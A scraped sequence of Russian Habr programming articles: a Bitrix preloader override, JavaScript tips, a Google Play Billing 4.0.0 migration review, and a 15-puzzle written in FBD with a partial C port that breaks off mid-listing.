[Кунг-фу стиля Linux: упрощение работы с awk](https://habr.com/ru/company/ruvds/blog/527244/)
[Кунг-фу стиля Linux: наблюдение за файловой системой](https://habr.com/ru/company/ruvds/blog/528422/)
[Кунг-фу стиля Linux: наблюдение за файлами](https://habr.com/ru/company/ruvds/blog/528430/)
[Кунг-фу стиля Linux: удобный доступ к справке при работе с bash](https://habr.com/ru/company/ruvds/blog/528432/)
[Кунг-фу стиля Linux: великая сила make](https://habr.com/ru/company/ruvds/blog/528434/)
[Кунг-фу стиля Linux: устранение неполадок в работе incron](https://habr.com/ru/company/ruvds/blog/529828/)
[Кунг-фу стиля Linux: расшаривание терминала в браузере](https://habr.com/ru/company/ruvds/blog/529836/)
[Кунг-фу стиля Linux: синхронизация настроек](https://habr.com/ru/company/ruvds/blog/531088/)
[Кунг-фу стиля Linux: бесплатный VPN по SSH](https://habr.com/ru/company/ruvds/blog/530944/)
[Кунг-фу стиля Linux: превращение веб-приложений в полноценные программы](https://habr.com/ru/company/ruvds/blog/529838/)
[Кунг-фу стиля Linux: утилита marker и меню для командной строки](https://habr.com/ru/company/ruvds/blog/529840/)
[Кунг-фу стиля Linux: sudo и поворот двух ключей](https://habr.com/ru/company/ruvds/blog/532334/)
[Кунг-фу стиля Linux: программное управление окнами](https://habr.com/ru/company/ruvds/blog/532342/)
[Кунг-фу стиля Linux: организация работы программ после выхода из системы](https://habr.com/ru/company/ruvds/blog/533336/)
[Кунг-фу стиля Linux: регулярные выражения](https://habr.com/ru/company/ruvds/blog/533334/)
[Кунг-фу стиля Linux: запуск команд](https://habr.com/ru/company/ruvds/blog/536958/)
[Кунг-фу стиля Linux: разбираемся с последовательными портами](https://habr.com/ru/company/ruvds/blog/544512/)
[Кунг-фу стиля Linux: базы данных — это файловые системы нового уровня](https://habr.com/ru/company/ruvds/blog/568302/)
[Кунг-фу стиля Linux: о повторении кое-каких событий сетевой истории](https://habr.com/ru/company/ruvds/blog/568308/)
[Кунг-фу стиля Linux: PDF для пингвинов](https://habr.com/ru/company/ruvds/blog/567158/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=kung-fu_stilya_linux:_o_povtorenii_koe-kakix_sobytij_setevoj_istorii) | https://habr.com/ru/post/568308/ | null | ru | null |
# Как легко и быстро поставить свой прелоадер на стандартный AJAX Битрикса?
#### Вступление
Посещаю Хабр уже давно, но на статью решился только сейчас. Да и то, не статья это вовсе, а так — скорее, заметка о том, как легко и без напряга, без правки ядра и заморочек с самим аяксом взять и заменить стандартное убогое окошко прелоадера битрикса на свой произвольный **HTML/CSS** код. Приступим?
#### Описание проблемы
Разработчики на 1С-Битрикс должны знать об этой проблеме, а для всех непосвящённых — поясню. Эта CMS использует в стандартных шаблонах и компонентах свой кастомный jquery и ajax. Документация имеется, но много ли кому охото её изучать, чтобы сделать какие то элементарные вещи?..
В принципе, если ничего в стандартных шаблонах не трогать, «родной» аякс битрикса работает не плохо. Но если попытаться что то серьёзно подправить, или вовсе — натягивать свою вёрстку в купе с родным аяксом — тут начинаются танцы с бубном, и такая элементарная вещь, как замена дефолтного убогого прелоадера, превращается в нудное гугление и изучение кода в ядре CMS.
Позиция ТП Битрикса на этот счёт вообще удивляет:
> **Сейчас, к сожалению, нет стандартного способа изменить стандартный прелоадер**
**Скрин сообщения техподдержки**
Все самые наивные и доверчивые скажут «нельзя? ну ок...» и пойдут писать свои аякс-запросы. А мы возьмём и сделаем!
#### Реализация
Суть проста — у стандартного аякса есть две функции **BX.showWait** и **BX.closeWait** которые отвечают за действия на странице в момент ожидания ответа от аякса. Используем их чтобы подгрузить вместо дефолтного прелоадера, свой.
Для начала найдём сам прелоадер. Мне например, понравился на чистом HTML/CSS в стиле Windows 8. Затем открываем **footer.php** нашего шаблона и перед тегом вписываем наш код:
```
```
Длинную CSS-простыню вставлять не буду (в конце будут все исходники). Далее вставляем скрипт с вызовом функций, которые подгрузят наш прелоадер вместо стандартного:
```
var lastWait = [];
/* non-xhr loadings */
BX.showWait = function (node, msg)
{
node = BX(node) || document.body || document.documentElement;
msg = msg || BX.message('JS_CORE_LOADING');
var container_id = node.id || Math.random();
var obMsg = node.bxmsg = document.body.appendChild(BX.create('DIV', {
props: {
id: 'wait_' + container_id,
className: 'bx-core-waitwindow'
},
text: msg
}));
setTimeout(BX.delegate(_adjustWait, node), 10);
$('#win8_wrapper').show();
lastWait[lastWait.length] = obMsg;
return obMsg;
};
BX.closeWait = function (node, obMsg)
{
$('#win8_wrapper').hide();
if (node && !obMsg)
obMsg = node.bxmsg;
if (node && !obMsg && BX.hasClass(node, 'bx-core-waitwindow'))
obMsg = node;
if (node && !obMsg)
obMsg = BX('wait_' + node.id);
if (!obMsg)
obMsg = lastWait.pop();
if (obMsg && obMsg.parentNode)
{
for (var i = 0, len = lastWait.length; i < len; i++)
{
if (obMsg == lastWait[i])
{
lastWait = BX.util.deleteFromArray(lastWait, i);
break;
}
}
obMsg.parentNode.removeChild(obMsg);
if (node)
node.bxmsg = null;
BX.cleanNode(obMsg, true);
}
};
function _adjustWait()
{
if (!this.bxmsg)
return;
var arContainerPos = BX.pos(this),
div_top = arContainerPos.top;
if (div_top < BX.GetDocElement().scrollTop)
div_top = BX.GetDocElement().scrollTop + 5;
this.bxmsg.style.top = (div_top + 5) + 'px';
if (this == BX.GetDocElement())
{
this.bxmsg.style.right = '5px';
}
else
{
this.bxmsg.style.left = (arContainerPos.right - this.bxmsg.offsetWidth - 5) + 'px';
}
}
```
Ну и не забываем обязательно добавить CSS стили вашего прелоадера стандартным способом — скопировав в **template\_styles.css** либо подключив в **header.php** отдельным файлом.
Пробуем что нибудь пощёлкать на сайте. Вуаля — прелоадер заменён. Для более «правильного» метода я бы советовал вынести подключение в футере в отдельную включаемую область.
**Исходники на [GitHub](https://gist.github.com/Itachi261092/1755635003c8fe5c16e4)**
**Всем спасибо за внимание!** | https://habr.com/ru/post/268221/ | null | ru | null |
# 9 полезных приёмов для тех, кто программирует на JavaScript
Автор материала, перевод которого мы сегодня публикуем, рассказывает о девяти полезных приёмах работы, которые могут пригодиться JavaScript-программисту. Он говорит о том, что эти приёмы позволяют экономить время, и о том, что ими пользуются профессионалы.
[](https://habr.com/company/ruvds/blog/354676/)
1. Очистка или усечение массива
-------------------------------
Для того чтобы очистить массив или уменьшить его длину, можно изменить его свойство `length`. При этом, например, нет необходимости в том, чтобы, для очистки массива, записывать в переменную, хранящую ссылку на него, ссылку на новый массив.
```
const arr = [11, 22, 33, 44, 55, 66];
// усечение массива
arr.length = 3;
console.log(arr); //=> [11, 22, 33]
// очистка массива
arr.length = 0;
console.log(arr); //=> []
console.log(arr[2]); //=> undefined
```
2. Имитация именованных параметров при деструктурировании объекта
-----------------------------------------------------------------
Весьма вероятно то, что вы уже используете объекты с параметрами в тех случаях, когда вам нужно передать переменный набор параметров какой-то функции. Например, это может выглядеть так:
```
doSomething({ foo: 'Hello', bar: 'Hey!', baz: 42 });
function doSomething(config) {
const foo = config.foo !== undefined ? config.foo : 'Hi';
const bar = config.bar !== undefined ? config.bar : 'Yo!';
const baz = config.baz !== undefined ? config.baz : 13;
// ...
}
```
Это — старый, но эффективный паттерн, который используется для имитации именованных параметров в JavaScript. Вызов такой функции выглядит вполне нормально, но, с другой стороны, для реализации логики обработки объекта с параметрами нужно слишком много кода. Благодаря возможностям по деструктурированию объектов ES2015 этот недостаток можно обойти:
```
function doSomething({ foo = 'Hi', bar = 'Yo!', baz = 13 }) {
// ...
}
```
И, если нужно сделать объект с параметрами необязательным, это тоже сложностей не вызывает:
```
function doSomething({ foo = 'Hi', bar = 'Yo!', baz = 13 } = {}) {
// ...
}
```
3. Деструктурирование и элементы массивов
-----------------------------------------
Вот как присваивать элементы массива отдельным переменным с использованием возможностей деструктурирования:
```
const csvFileLine = '1997,John Doe,US,john@doe.com,New York';
const { 2: country, 4: state } = csvFileLine.split(',');
```
4. Использование диапазонов значений в операторе switch
-------------------------------------------------------
Вот простой приём, демонстрирующий использование диапазонов значений в операторе `switch`:
```
function getWaterState(tempInCelsius) {
let state;
switch (true) {
case (tempInCelsius <= 0):
state = 'Solid';
break;
case (tempInCelsius > 0 && tempInCelsius < 100):
state = 'Liquid';
break;
default:
state = 'Gas';
}
return state;
}
```
5. Организация ожидания выполнения нескольких асинхронных функций в конструкции async/await
-------------------------------------------------------------------------------------------
Благодаря следующему приёму, в котором используется `Promise.all`, можно организовать ожидание выполнения нескольких асинхронных функций:
```
await Promise.all([anAsyncCall(), thisIsAlsoAsync(), oneMore()])
```
6. Создание чистых объектов
---------------------------
При необходимости можно создать абсолютно пустой, чистый объект, который не наследует никаких свойств и методов от `Object` (например — это `constructor`, `toString()` и так далее). Вот как это сделать:
```
const pureObject = Object.create(null);
console.log(pureObject); //=> {}
console.log(pureObject.constructor); //=> undefined
console.log(pureObject.toString); //=> undefined
console.log(pureObject.hasOwnProperty); //=> undefined
```
7. Форматирование JSON-кода
---------------------------
Метод `JSON.stringify` способен на большее, нежели обычное преобразование объектов в их строковое представление. В частности, получающийся при работе с этим методом JSON-код можно форматировать:
```
const obj = {
foo: { bar: [11, 22, 33, 44], baz: { bing: true, boom: 'Hello' } }
};
// Третий параметр - это число пробелов, которые используются для
// форматирования JSON-данных.
JSON.stringify(obj, null, 4);
// =>"{
// => "foo": {
// => "bar": [
// => 11,
// => 22,
// => 33,
// => 44
// => ],
// => "baz": {
// => "bing": true,
// => "boom": "Hello"
// => }
// => }
// =>}"
```
8. Удаление дублирующихся элементов массивов
--------------------------------------------
Использование объекта типа `Set` из ES2015 с оператором расширения позволяет легко и удобно удалять из массивов дублирующиеся элементы:
```
const removeDuplicateItems = arr => [...new Set(arr)];
removeDuplicateItems([42, 'foo', 42, 'foo', true, true]);
//=> [42, "foo", true]
```
9. Линеаризация многомерных массивов
------------------------------------
Линеаризация массивов с использованием оператора расширения — это предельно простая задача:
```
const arr = [11, [22, 33], [44, 55], 66];
const flatArr = [].concat(...arr); //=> [11, 22, 33, 44, 55, 66]
```
К несчастью, вышеприведёный приём работает лишь для двумерных массивов. Однако, благодаря рекурсии, мы можем использовать этот метод для массивов с более чем двумя измерениями:
```
function flattenArray(arr) {
const flattened = [].concat(...arr);
return flattened.some(item => Array.isArray(item)) ?
flattenArray(flattened) : flattened;
}
const arr = [11, [22, 33], [44, [55, 66, [77, [88]], 99]]];
const flatArr = flattenArray(arr);
//=> [11, 22, 33, 44, 55, 66, 77, 88, 99]
```
Итоги
-----
Надеемся, те приёмы, о которых вы узнали из этого материала, помогут вам улучшить ваши программы на JavaScript и сэкономить немного времени.
**Уважаемые читатели!** Знаете какие-нибудь неочевидные вещи, которые могут пригодиться JS-разработчикам? Если так — просим о них рассказать.
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/354676/ | null | ru | null |
# Обзор Google Play Billing 4.0.0
Всем привет. Я SDK Engineer вQonversion Мария Бордунова.
Сегодня речь пойдет о библиотеке [Google Play Billing Library 4.0.0](https://developer.android.com/google/play/billing/integrate), которая к концу этого года должна открыть новые возможности для приложений со встроенными покупками.
[Согласно анонсу Google](https://android-developers.googleblog.com/2021/05/whats-new-in-google-play-2021.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+blogspot%2FhsDu+%28Android+Developers+Blog%29), четвертая версия Billing Library позволит оптимизировать покупки внутри приложений:
* Появится возможность приобретать несколько расходуемых (consumable) in-app продуктов единовременно. На данный момент можно покупать только 1 единицу продукта за раз.
* Пользователь сможет сам определять состав подписки, то есть приобрести несколько продуктов как часть одной подписки.
Подробнее о типах продуктов для продажи внутри приложения можно почитать [здесь](https://developer.android.com/google/play/billing).
Так как еще не все перешли на Billing Library v4, я бы хотела рассказать, на что стоит обратить внимание при миграции на новую версию.
### Основные изменения в 4-й версии Google Play Billing Library
#### 1. Background & Main: фоновый и главный потоки
Теперь callback-и методов вызываются в фоновом потоке (в предыдущей версии они вызывались из главного). Чтобы убедиться в этом, можно вывести в лог название текущего потока, например, в методе `onBillingSetupFinished` интерфейса `BillingClientStateListener`:
```
if (Looper.getMainLooper().thread == Thread.currentThread()) {
Log.d("TestThread", "Main thread is running.")
} else {
Log.d("TestThread", "${Thread.currentThread().name} thread is running.")
}
```
В логах можно будет увидеть следующий результат для разных версий библиотеки:
* Billing Library v4: `D/TestThread: PlayBillingLibrary-1 thread is running.`
* Billing Library v3: `D/TestThread: Main thread is running.`
Если требуется изменить пользовательский интерфейс прямо из callback-а, важно помнить, что взаимодействие с UI невозможно без переключения обратно в главный поток.
#### 2. queryPurchasesAsync() для извлечения активных покупок пользователя
Метод [queryPurchases()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#queryPurchases(java.lang.String)) больше не актуален. Теперь, чтобы получить информацию об активных подписках и нерасходуемых покупках (они же [non-consumable](https://developer.android.com/google/play/billing)) в приложении, нужно использовать метод [queryPurchasesAsync()](https://developer.android.com/reference/com/android/billingclient/api/BillingClient#queryPurchasesAsync(java.lang.String,%20com.android.billingclient.api.PurchasesResponseListener)):
```
private fun queryPurchasesAsync() {
// Fetch active subscriptions and non-consumable in-app purchases
billingClient.queryPurchasesAsync(BillingClient.SkuType.SUBS, this)
billingClient.queryPurchasesAsync(BillingClient.SkuType.INAPP, this)
}
```
Чтобы получить ответ, необходимо реализовать интерфейс PurchasesResponseListener и переопределить его метод onQueryPurchasesResponse:
```
/**
* Callback that will be called when queryPurchasesAsync is called
*/
override fun onQueryPurchasesResponse(
billingResult: BillingResult,
purchases: MutableList
) {
// process purchases
}
```
#### 3. Новый способ для downgrade/upgrade подписок
Раньше для [обновления подписки](https://developer.android.com/google/play/billing/subscriptions#upgrade-downgrade) необходимо было предоставить значение [SkuDetails](https://developer.android.com/reference/com/android/billingclient/api/SkuDetails), `sku` (он же идентификатор) и токен старой подписки, а также опционально [ProrationMode](https://developer.android.com/reference/com/android/billingclient/api/BillingFlowParams.ProrationMode):
```
private fun updatePurchase(skuDetails: SkuDetails) {
val params = BillingFlowParams.newBuilder()
.setSkuDetails(skuDetails)
.setOldSku("oldSku", "oldPurchaseToken")
.setReplaceSkusProrationMode(BillingFlowParams.ProrationMode.IMMEDIATE_AND_CHARGE_PRORATED_PRICE)
.build()
billingClient.launchBillingFlow(this, params)
}
```
Теперь для выполнения downgrade или upgrade подписки нужно вызвать [BillingFlowParams.Builder.setSubscriptionUpdateParams()](https://developer.android.com/reference/com/android/billingclient/api/BillingFlowParams.Builder#setSubscriptionUpdateParams(com.android.billingclient.api.BillingFlowParams.SubscriptionUpdateParams)) и передать объект SubscriptionUpdateParams в качестве параметра. Метод *setOldSku()* был удален.
```
private fun updatePurchase(skuDetails: SkuDetails) {
val updateParams = BillingFlowParams.SubscriptionUpdateParams.newBuilder()
.setOldSkuPurchaseToken("oldPurchaseToken")
.setReplaceSkusProrationMode(BillingFlowParams.ProrationMode.IMMEDIATE_AND_CHARGE_PRORATED_PRICE)
.build()
val billingFlowParams = BillingFlowParams.newBuilder()
.setSkuDetails(skuDetails)
.setSubscriptionUpdateParams(updateParams)
.build()
billingClient.launchBillingFlow(this, billingFlowParams)
}
```
#### 4. Multi-quantity purchases (пока недоступны, ждем релиза)
Google анонсировал планы по оптимизации покупок внутри приложения: пользователям будет доступен выбор нужного количества продуктов прямо из корзины. Из Google Play Console можно будет настроить, какой именно продукт доступен для такой опции.
Это сильно упрощает процессы покупки и продажи. Теперь пользователи смогут купить несколько единиц расходуемого продукта (они же [consumable in-app продукты](https://developer.android.com/google/play/billing), например, монетки, мана) в один клик, а не покупать их многократно разными транзакциями.
Чтобы получить количество купленного продукта, можно использовать новые методы [Purchase.getQuantity()](https://developer.android.com/reference/com/android/billingclient/api/Purchase#getQuantity()) и [PurchaseHistoryRecord.getQuantity()](https://developer.android.com/reference/com/android/billingclient/api/PurchaseHistoryRecord#getQuantity()).
#### 5. Multi-line subscriptions (пока недоступны, ждем релиза)
В дополнение к предыдущей фиче, Google позволит продавать несколько продуктов в рамках одной подписки. Пользователи смогут управлять составом такой подписки в любое время (добавлять, отменять и заменять продукты при оформлении подписки или в процессе ее использования).
Например, пользователь сможет купить курс по изучению Java, Kotlin, а потом дополнить этот набор Swift.
Чтобы получить идентификаторы продуктов покупки, используйте методы [Purchase.getSkus()](https://developer.android.com/reference/com/android/billingclient/api/Purchase#getSkus()) и [PurchaseHistoryRecord.getSkus()](https://developer.android.com/reference/com/android/billingclient/api/PurchaseHistoryRecord#getSkus()) (метод `getSku()` более недоступен).
### Что в итоге?
Конечно, Google Play Billing Library 4.0.0 здорово оптимизирует процессы покупок внутри приложения. Если говорить о технических деталях, то новшества на мобильной стороне могут показаться не фундаментальными. Но нужно учитывать и изменения на сервере. Например, если вы собираете аналитику по покупкам, в запросе purchase появится новое поле “quantity”; в поле для идентификатора продукта теперь может передаваться массив ids. Также выглядит, что количество запросов на ваш сервер хоть и на малую долю, но уменьшится за счет единовременных покупок. Почитать о прочих изменениях в библиотеке можно в [release notes.](https://developer.android.com/google/play/billing/release-notes#4-0)
Кто уже перешел на Google billing 4.0.0? Какие сложности вы заметили при переходе или использовании? Будет интересно обсудить. | https://habr.com/ru/post/584780/ | null | ru | null |
# Пишем задачки на FBD. Пятнашки и Симпсон
Здравствуйте.
В этой статье будет показано, как на языке программирования [FBD](https://ru.wikipedia.org/wiki/FBD) написать простую программу, которая, тем не менее, будет делать что-то полезное. В нашем примере это будет игра в Пятнашки.
Для начала напомню правила [игры](https://ru.wikipedia.org/wiki/%D0%98%D0%B3%D1%80%D0%B0_%D0%B2_15): игра в «15», «Пятнашки», «Такен» — популярная головоломка, придуманная в 1878 году Ноем Чепмэном. Представляет собой набор одинаковых квадратных костяшек с нанесёнными числами, заключённых в квадратную коробку. Длина стороны коробки в четыре раза больше длины стороны костяшек для набора из 15 элементов, соответственно в коробке остаётся незаполненным одно квадратное поле. Цель игры — перемещая костяшки по коробке, добиться упорядочивания их по номерам, желательно сделав как можно меньше перемещений.
Как мы видим, правила предельно простые. И реализация будет простой и займет минут 15 без графической части и полчаса со всеми картинками. При этом хочу обратить ваше внимание на то, что вопросы оптимизации алгоритмов и логики остаются за рамками этой статьи т.к. эти вопросы уже не такие простые и потребуют куда больше времени.
Вот что получилось в итоге:
Описание программы, комментарии и картинки под катом.
### Основа программы
Как видно из описания игры, у нас есть поле из 16 элементов. Таким образом основой программы будет элемент «Клетка пятнашек».
Сформулируем требования к этому элементу:
— Наша «клетка пятнашек» должна принимать внешние команды, когда игрок говорит, что хочет передвинуть ее на соседнее пустое место.
— Клетка должна знать о соседях по вертикали и горизонтали, чтобы понять, есть ли рядом пустая клетка, с которой можно поменяться местами.
— Клетка должна на старте игры установить начальное значение.
— На выход Клетка должна передать значение, установленное в ней на данный момент.
— Если игрок подал команду Клетке переместиться на соседнее пустое поле, то Клетка должна передать команду соседней пустой Клетке о том, что они сейчас будут меняться местами.
Исходя из этих требований получаем набор входных и выходных сигналов.
**Входы:**
* УпрКоманда — команда управления от игрока, соседних клеток или начальной установки значения
* Сверху — значение соседней сверху клетки
* Снизу — значение соседней снизу клетки
* Слева — значение соседней слева клетки
* справа — значение соседней справа клетки
* УстЗначение — значение, которое должно быть установлено в клетку при старте игры
**Выходы:**
* Значение — значение клетки
* Поехали — команда соседу, что мы хотим «поменяться с ним местами»
«Поменяться местами» в кавычках, потому что сами Клетки пятнашек у нас никуда не будут бегать, они просто будут перезаписывать свое значение.
В итоге получается вот такой макрос:
Поставим таких макросов в нашу задачу 16 штук и свяжем их между собой. В итоге получаем:
Все очень просто. Поставили в задачу шестнадцать макросов «Клетка пятнашки» и связали каждую клетку с соседями по вертикали и горизонтали. Если каких-то соседей у клетки нет (например в клетке\_1\_1 нет соседа сверху и слева), ставим на соответствующем входе "-1".
### Набивка основы
На прошлом шаге мы заложили основу программы. Но т.к. сам элемент «Клетка пятнашки» пока у нас пустой, то ничего хорошего наша программа делать не умеет. Пора это исправить, наполнив логикой макрос «Клетка пятнашки».
Это готовая реализация нашего макроса. Кратко принцип работы:
1. Получаем на вход управляющую команду и распаковываем ее. Выделяем отдельно сигнал длительностью один цикл — признак, что поступила команда, и параметр команды. В нашем случае параметр команды это набор целых чисел от 1 до 6, где числа 1 — 4 это команда поменяться значениями с одним из соседей, число 5 означает команду установить начальное значение в ячейку, а число 6 — что игрок кликнул мышкой по данной клетке и хочет «передвинуть» ее на возможно находящееся по соседству пустое поле.
2. Проверяем всех соседей на нулевое значение (числом 0 у нас обозначается пустое поле).
3. Дальше смотрим на текущее значение данной клетки и команду. Если значение клетки равно нулю (клетка пустая) и одновременно пришла команда поменяться значениями с соседом (команды 1-4), то перезаписываем в клетку значение соседней клетки.
4. Если нам пришла команда 5 (установить начальное значение), то просто записываем в память значение со входа «УстЗначение».
5. Если нам пришла команда 6 (игрок кликнул мышкой по данной клетке) и значение одной из соседних клеток равно нулю, то записываем в данную клетку нулевое значение и отправляем команду «Поехали» на соседние клетки с указанием, с каким именно соседом мы хотим поменяться.
Вот собственно и все. Единственный тонкий момент в нашей реализации, это алгоритмы «Задержка». Но догадаться, зачем они нужны, легко просто представив как проходит выполнение программы:
— мы получили команду от игрока «передвинуть» эту клетку на пустое место.
— проверили, действительно рядом есть пустое место.
— записали в клетку «0» и передали соседу, что хотим поменяться с ним значениями.
— сосед (при этом нужно понимать, что отрабатывает все тот же макрос «Клетка пятнашки», просто другой его экземпляр) видит, что ему пришла команда поменяться местами с другой клеткой.
— сосед проверяет что в нем самом записан «0» т.е. он сейчас пустая клетка и записывает себе значение первой клетки, от которой пришла команда поменяться местами.
Но секундочку! Ведь одновременно с тем, как отправить команду соседу мы в нашу первую клетку записали «0», следовательно сосед тоже запишет себе ноль и у нас получатся две пустые клетки, а одно значение (из ряда 1-15) пропадет. И так пока все игровое поле не станет пустым. Чтобы этого не произошло, задерживаем в первой клетке перезапись нулем. Таким образом пустая соседняя клетка успеет себе записать правильное значение.
**Несколько слов про оптимизацию**Как несложно заметить, сам макрос «Клетка пятнашки» достаточно прост. Однако его можно еще упростить, выкинув оттуда часть блоков. Идея простая. Сейчас мы проверяем команду и соседние клетки перед выполнением перестановок. Однако, как было сказано выше, при любой перестановки отрабатывает два экземпляра одного и того же макроса. И в первом экземпляре мы проводим проверку перед отправкой команды, а во втором экземпляре проводим ту же самую проверку при получении команды. Таким образом одну из проверок можно смело выкидывать. Это первое, что сразу бросается в глаза. Второй момент — лишняя задержка на значении. Ведь значение хранится в блоке «Память», куда перезаписывается только по команде. Следовательно достаточно задержать только команду перезаписи значения, а само значение подавать как есть.
### Победа или поражение
Собственно основа нашей программы готова и уже прекрасно работает. Можно играть. Все дальнейшие действия нужны только для внедрения вспомогательных функций.
Начнем с автоматической проверки победы или проигрыша игрока.
В игре «пятнашки» есть забавный момент заключающийся в том, что из всех возможных начальных раскладов плиток половина раскладов нельзя собрать если плитки с номерами «14» и «15» стоят не в том порядке.
Исходя из этого сформируем два условия:
— условие 1: значение, записанное в каждую клетку соответствует ее порядковому номеру. Т.е. игрок победил.
— условие 2: значения, записанные в клетки соответствуют их порядковому номеру за исключением клеток «14» и «15», которые поменяны местами. Т.е. немного не повезло с раскладом.
Ставим 18 алгоритмов сравнения, и собираем по И два набора по шестнадцать равенств. По ИЛИ формируем признак, что мы пришли к одному из концов расклада.
18 алгоритмов потому, что мы проверяем соответствие 16 ячеек для первого случая и дополнительно перестановку ячеек «14» и «15» для второго случая. Кстати т.к. у нас массив данных заранее определенный, то достаточно пятнадцати проверок для всего поля, т.к. последняя ячейка проверяется автоматом.
### Начальная расстановка
Итак, программа у нас готова. Можно играть и при победе выдается сообщение. Все хорошо за исключением того, что в начале игры нужно расставить плитки в поле случайным образом. И оказалось, что в данном примере это самая сложная задача. Но если не упираться в быстродействие, оптимальность алгоритмов и т.п. то можно решить эту задачу «в лоб» малой кровью сравнительно быстро.
Сначала делаем генератор случайных целых чисел 0 — 15. Пойдем старым проверенном способом. Это вполне допустимый вариант т.к. получившаяся последовательность случайных чисел зависит от момента времени, когда была нажата кнопка «Новая игра». А т.к. этот момент времени случает и никогда не повторяется, то в итоге мы получаем довольно простой и хороший генератор случайных чисел.
На выходе алгоритма Действительное-в-Целое (ДвЦ) получаем случайное целое значение 0 — 15.
Теперь стоит задача сформировать ряд неповторяющихся значений, и записать каждое значение в свою ячейку.
Как я уже сказал, конкретно для языка FBD более или менее хорошее решение этой задачи сделать сложно. Или может просто я не вижу очевидное для остальных красивое и простое решение. Конечно всегда есть вариант сделать вставку на ST, но цель сделать задачу именно целиком на языке FBD.
Решение задачи «в лоб» заключается в следующем:
— ставим управляющие элемент.
— при подаче команды забиваем начальный массив "-1" (можно было и любыми числами вне диапазона [0..15]).
— обнуляем счетчик.
— далее генерируем случайное число от 0 до 15 и проверяем, есть ли такое в нашем массиве. Если есть — продолжаем генерацию случайных чисел.
— если такого числа нет — увеличиваем счетчик на единицу и записываем в соответствующую ячейку памяти наше значение.
— повторяем эти действия еще 15 раз.
— проверяем, если мы дошли до шестнадцатого шага, то формируем импульс, по которому отправляем команду на запись этих значений во все ячейки.
Главным недостатком данного алгоритма является многократный перебор выкинутых ранее значений. В теории время генерации такой случайной последовательности может быть бесконечным. В реальности при десятках прогонов программы оно не было больше чем полсекунды. В любом случае на время генерации (раз оно не мгновенное) ставим блокировку на действия игрока.
Вот что в итоге получилось:
### Приделываем графику
Теперь, когда задача у нас полностью готова, самое время приделать UI.
Для этого выбираем в интернете любые понравившиеся картинки с пятнашками. Одновременно выбираем картинки для удачного сбора расклада и неудачного. Я решил поместить туда Гомера Симпсона.
Ставим 16 картинок и приделываем к ним анимацию чтобы они показывали число, соответствующее числу в ячейке. А в ячейке с нулем плитка должна быть невидимой. Ставим на каждую плитку формирование команды «6». Снизу располагаем кнопку «Новая игра» по которой будем запускать алгоритм генерации случайной начальной расстановки. Одновременно не забываем поставить блокировку на все плитки во время генерации. Поверх всего этого дела помещаем Гомера. Все. Графика готова, можно играть.
Нарисованный вариант. Можно заметить что изначально все плитки у нас с единицей.
Начальная позиция.
Неудачный расклад.
И победа!
### Что осталось нереализованным
На самом деле не так уж и много:
— можно приделать счетчик ходов. Делается это элементарно. В макросе «Клетка пятнашки» есть команда «6» — команда игрока. Достаточно взять от нее логический сигнал длительностью в один цикл. Вывести этот сигнал наружу. Собрать все шестнадцать сигналов по ИЛИ и завести на алгоритм сложения, охваченный обратной связью. Т.е. всего три дополнительный алгоритма и пара минут работы.
— статистика. Можно сделать счетчик выигранных и неудачных игр. Добавляется два алгоритма сложения и пару алгоритмов обвязки. Тоже пара минут работы.
— отбор раскладов. Как уже говорилось, половина раскладов не сходится изначально из-за невозможности поменять местами плитки «14» и «15». Можно при старте проверять «неудачный расклад» и сразу менять эти две плитки местами.
Сделать все это не сложно, поэтому оставлю такую возможность всем желающим.
### Выводы
В этот раз за полчаса на языке FBD была реализована простенькая игрушка «Пятнашки». При этом все используемые алгоритмы простые и понятные. Вся логика обработки сигналов очевидная. Разобраться в такой программе не составит труда любому человеку, знакомому с азами логики и основами языков программирования МЭК 61131.
Для проверки накидал примерно то же самое на С. Вот что получилось:
**Текст программы на С**Т.к. программированием на языке С/С++ я не владею, то скорее всего программа ужасна. Более того я сразу вижу несколько «сомнительных» мест. Однако она работает и работает без ошибок.
Главная идея состоит в том, что одна и та же программа, написанная на языке С и на языке FBD имеет разную сложность понимания человеком «со стороны». И если с языком функциональных блоков разобраться не представляет никакого труда, то с реализацией на С придется повозиться.
И хотя программа на FBD состоит из 153 блоков (и мы помним, что там еще есть 16 макросов, каждый из которых состоит из 32 блоков), но на написание ее ушло гораздо меньше времени, чем на написание 50 строчек кода на С.
```
#include
#include "cstdlib"
#include
#include
#include
#include
#include
#include
#include
#include
#include
using namespace std;
int main(void)
{
int MyPyatn[16] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
int i = 0, x = 0, y = 0, MyRand = 0, MyBuffer = 0, MyButton = 0;
bool MyGameover = false, MyChange = false;
setlocale(LC\_ALL, "ru-RU");
srand(time(NULL));
cout << "Нажми 'n' для новой игры или любую другую кнопку для выхода: ";
kbhit();
if(getch() != 110)
return 0;
std::system("cls");
cout << "Играем в пятнашки: ";
for(i=0;i<16;i++)
{
MyRand = rand() %(16-i);
MyBuffer = MyPyatn[15-i];
MyPyatn[15-i] = MyPyatn[MyRand];
MyPyatn[MyRand] = MyBuffer;
}
for (i=0;i<16;i++)
{
if ((i %4) == 0)
{
cout << "\n";
cout << "\n";
}
if ((MyPyatn[i]<10) || (MyPyatn[i] == 16)) cout << " ";
else cout << " ";
if (MyPyatn[i] == 16)
{
cout << "\_";
x = i %4 + 1;
y = int (i/4) + 1;
}
else cout << MyPyatn[i];
cout << " ";
}
cout << "\n";
cout << "\n";
cout << "Управление стрелками вверх-вниз-влево-вправо. Выход - '0' \n";
cout << "Знак \_ это пустая клетка";
do
{
MyChange = false;
MyGameover = true;
for(i=0;i<16;i++)
{
if (MyPyatn[i] != (i+1)) MyGameover = false;
}
while(!kbhit ());
MyButton = getch();
if ((MyButton == 48) || (MyButton == 72) || (MyButton == 75) || (MyButton == 77) || (MyButton == 80))
{
if (MyButton == 48) return 0;
if ((MyButton == 72) && (y > 1))
{
MyBuffer = MyPyatn[(y-1)\*4 + x - 1];
MyPyatn[(y-1)\*4 + x - 1] = MyPyatn[(y-2)\*4 + x - 1];
MyPyatn[(y-2)\*4 + x - 1] = MyBuffer;
y = y - 1;
MyChange = true;
}
if ((MyButton == 80) && (y < 4))
{
MyBuffer = MyPyatn[(y-1)\*4 + x - 1];
MyPyatn[(y-1)\*4 + x - 1] = MyPyatn[y\*4 + x - 1];
MyPyatn[y\*4 + x - 1] = MyBuffer;
